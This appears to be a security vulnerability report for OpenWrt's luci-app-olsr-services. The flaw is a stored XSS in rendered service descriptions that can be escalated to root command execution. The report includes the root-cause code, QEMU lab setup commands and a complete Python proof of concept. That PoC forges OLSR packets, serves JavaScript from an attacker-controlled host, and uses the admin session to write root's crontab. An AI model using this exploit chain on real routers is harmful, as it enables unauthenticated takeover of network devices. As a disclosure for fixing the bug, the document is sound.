Stored XSS in luci-app-olsr-services leads to root command execution
Summary
An unauthenticated OLSR mesh participant can place HTML in a service announcement. luci-app-olsr-services renders the service description with innerHTML. When an administrator opens Services -> OLSR, the injected JavaScript runs in the authenticated LuCI origin.
The script can use the administrator's LuCI session to write /etc/crontabs/root and reload cron, resulting in arbitrary command execution as root.
No attacker account is required. One administrator page view is required.
Preconditions
- The target has
luci-app-olsr-servicesandolsrd-mod-nameserviceinstalled. - The attacker can reach the target's OLSR interface.
- An authenticated administrator opens the OLSR Services page.
Root cause
The OLSR view renders peer-controlled data without escaping it:
E('a', { 'href': service.url }, service.description),
service.protocol,
File: applications/luci-app-olsr-services/htdocs/luci-static/resources/view/olsr-services/services.js:24
LuCI's E() helper treats a bare string as HTML:
node.innerHTML = `${children}`;
An array is safe because its strings are inserted with createTextNode(). Therefore this is vulnerable:
E('a', {}, service.description)
while this is safe:
E('a', {}, [ service.description ])
The olsrd nameservice receive path accepts service announcements containing printable HTML. The service description may therefore contain an element such as <img src=x onerror=...>.
Reproduction
Only run this on an isolated test router. The PoC creates a local UID marker; it does not open a shell or make a reverse connection.
I have attached a video showing the complete reproduction. I did not attach the 256 MB writable QEMU disk because of the attachment size, but the commands used to construct it are included below for transparency; rebuilding the image is optional. I can provide the resulting image separately if required.
1. Start the prepared QEMU target
sudo ip addr replace 192.168.1.2/24 dev tap-owrt && sudo ip link set tap-owrt up && qemu-system-mipsel -M malta -m 256 -kernel openwrt-malta-le-generic-kernel.bin -drive file=openwrt-mips.img,format=raw,if=ide -append "root=/dev/sda rootwait console=ttyS0" -device pcnet,netdev=lan,mac=52:54:00:12:34:58 -netdev tap,id=lan,ifname=tap-owrt,script=no,downscript=no -device pcnet,netdev=wan,mac=52:54:00:12:34:59 -netdev user,id=wan -nographic
2. Run the attached PoC
python3 olsr_luci_rce_poc.py
The PoC establishes an OLSR neighbor and sends the service announcement to UDP port 698. It also serves the harmless JavaScript payload from 192.168.1.2:8000. It does not use the QEMU console or directly modify the target service file.
3. Administrator opens the page
Open http://192.168.1.1/cgi-bin/luci/admin/services/olsr, log in with root / openwrt, and leave the page open for at least 30 seconds.
4. Verify root execution
ssh root@192.168.1.1 'cat /tmp/OLSR_LUCI_RCE_PROOF'
Expected output:
uid=0(root) gid=0(root) groups=0(root)
Commands used to construct the QEMU image
The two base artifacts are downloaded directly from the official OpenWrt malta/le snapshot directory: openwrt-malta-le-generic-kernel.bin is the kernel passed to QEMU with -kernel, and openwrt-malta-le-generic-squashfs-rootfs.img is the base root filesystem. The snapshot directory is rolling, so I saved the downloaded files used for the video. The root filesystem is copied to openwrt-mips.img and expanded to 256 MB; OpenWrt uses the additional space as a writable persistent overlay after the first boot.
On the host:
sudo apt-get install qemu-system-mips qemu-utils curl iproute2
curl -O https://downloads.openwrt.org/snapshots/targets/malta/le/openwrt-malta-le-generic-kernel.bin
curl -O https://downloads.openwrt.org/snapshots/targets/malta/le/openwrt-malta-le-generic-squashfs-rootfs.img
curl -O https://downloads.openwrt.org/snapshots/targets/malta/le/sha256sums
sha256sum -c sha256sums --ignore-missing
cp openwrt-malta-le-generic-squashfs-rootfs.img openwrt-mips.img
qemu-img resize -f raw openwrt-mips.img 256M
sudo ip tuntap add dev tap-owrt mode tap user "$(id -un)"
sudo ip addr add 192.168.1.2/24 dev tap-owrt
sudo ip link set tap-owrt up
These commands produce the three files used by the QEMU command: the downloaded kernel, the downloaded squashfs base image, and the writable openwrt-mips.img copy.
Boot the image once with the QEMU command from Step 1, then run the following commands in its serial console:
uci set network.wan=interface
uci set network.wan.device='eth1'
uci set network.wan.proto='dhcp'
uci commit network
/etc/init.d/network restart
apk update
apk add luci-ssl luci-app-olsr-services olsrd-mod-nameservice
uci set olsrd.@Interface[0].interface='lan'
uci set olsrd.@LoadPlugin[3].library='olsrd_nameservice'
uci set olsrd.@LoadPlugin[3].services_file='/var/run/services_olsr'
uci set uhttpd.main.redirect_https='0'
uci commit olsrd
uci commit uhttpd
/etc/init.d/olsrd enable
/etc/init.d/olsrd restart
/etc/init.d/rpcd restart
/etc/init.d/uhttpd restart
passwd root
For the demonstrated image, I set the temporary lab password to openwrt.
PoC file: olsr_luci_rce_poc.py
#!/usr/bin/env python3
"""Network-only OLSR nameservice -> LuCI stored-XSS -> root marker PoC."""
import http.server
import ipaddress
import socket
import struct
import threading
import time
ATTACKER_IP = "192.168.1.2"
TARGET_IP = "192.168.1.1"
BROADCAST_IP = "192.168.1.255"
OLSR_PORT = 698
HTTP_PORT = 8000
MARKER = "/tmp/OLSR_LUCI_RCE_PROOF"
TARGET_URL = "http://192.168.1.1/cgi-bin/luci/admin/services/olsr"
JAVASCRIPT = r'''var s=L.env.sessionid,u='/cgi-bin/luci/admin/ubus/',f=function(o){return fetch(u,{method:'POST',body:JSON.stringify(o)})};f({jsonrpc:'2.0',id:1,method:'call',params:[s,'file','write',{path:'/etc/crontabs/root',data:'* * * * * /bin/sh -c "id > /tmp/OLSR_LUCI_RCE_PROOF 2>&1"\n',mode:384}]}).then(function(){return f({jsonrpc:'2.0',id:2,method:'call',params:[s,'file','exec',{command:'/etc/init.d/cron',params:['reload']}]})})'''
class PayloadHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if self.path != "/x.js":
self.send_error(404)
return
body = JAVASCRIPT.encode()
self.send_response(200)
self.send_header("Content-Type", "application/javascript")
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
print("[+] Administrator loaded the injected JavaScript", flush=True)
def log_message(self, _format, *_args):
pass
def olsr_packet(sequence, *messages):
body = b"".join(messages)
return struct.pack("!HH", len(body) + 4, sequence & 0xffff) + body
def olsr_message(message_type, vtime, originator, ttl, sequence, body):
size = 12 + len(body)
return struct.pack("!BBH4sBBH", message_type, vtime, size, socket.inet_aton(originator), ttl, 0, sequence & 0xffff) + body
def hello_message(sequence):
hello = struct.pack("!HBB", 0, 4, 3)
link = struct.pack("!BBH4sBBBB", 6, 0, 12, socket.inet_aton(TARGET_IP), 255, 255, 0, 0)
return olsr_message(201, 0x48, ATTACKER_IP, 1, sequence, hello + link)
def nameservice_message(sequence, service):
encoded = service.encode()
if len(encoded) > 127:
raise ValueError("nameservice entry exceeds the protocol's 127-byte limit")
padded = encoded + b"\0" * (-len(encoded) % 4)
entry = struct.pack("!HH", 2, len(encoded)) + b"\0" * 16 + padded
body = struct.pack("!HH", 1, 1) + entry
return olsr_message(130, 0xce, ATTACKER_IP, 255, sequence, body)
def check_lab_network():
ipaddress.ip_address(ATTACKER_IP)
with socket.socket() as probe:
probe.settimeout(3)
try:
probe.connect((TARGET_IP, 80))
except OSError as exc:
raise SystemExit(f"Target {TARGET_IP}:80 is unreachable; start QEMU and check tap-owrt ({exc})")
def main():
check_lab_network()
server = http.server.ThreadingHTTPServer((ATTACKER_IP, HTTP_PORT), PayloadHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()
xss = f"<img src=x onerror=import(`http://{ATTACKER_IP}:{HTTP_PORT}/x.js`)>"
service = f"http://{ATTACKER_IP}:{HTTP_PORT}|tcp|{xss}"
print(f"[+] Payload server: http://{ATTACKER_IP}:{HTTP_PORT}/x.js")
print(f"[+] Sending {len(service.encode())}-byte nameservice entry to UDP/{OLSR_PORT}")
print(f"[+] Open {TARGET_URL} and log in as root / openwrt")
print(f"[+] After one minute verify: ssh root@{TARGET_IP} 'cat {MARKER}'")
print("[+] Keep this process running; press Ctrl-C after verification", flush=True)
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sender:
sender.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
sender.bind((ATTACKER_IP, 0))
sequence = int(time.time()) & 0xffff
try:
while True:
sender.sendto(olsr_packet(sequence, hello_message(sequence)), (BROADCAST_IP, OLSR_PORT))
sender.sendto(olsr_packet(sequence + 1, nameservice_message(sequence + 1, service)), (BROADCAST_IP, OLSR_PORT))
sequence = (sequence + 2) & 0xffff
time.sleep(1)
except KeyboardInterrupt:
print("\n[+] Stopped")
finally:
server.shutdown()
if __name__ == "__main__":
main()
https://github.com/user-attachments/assets/778d371f-567f-46bb-9dda-4ff019d11cc8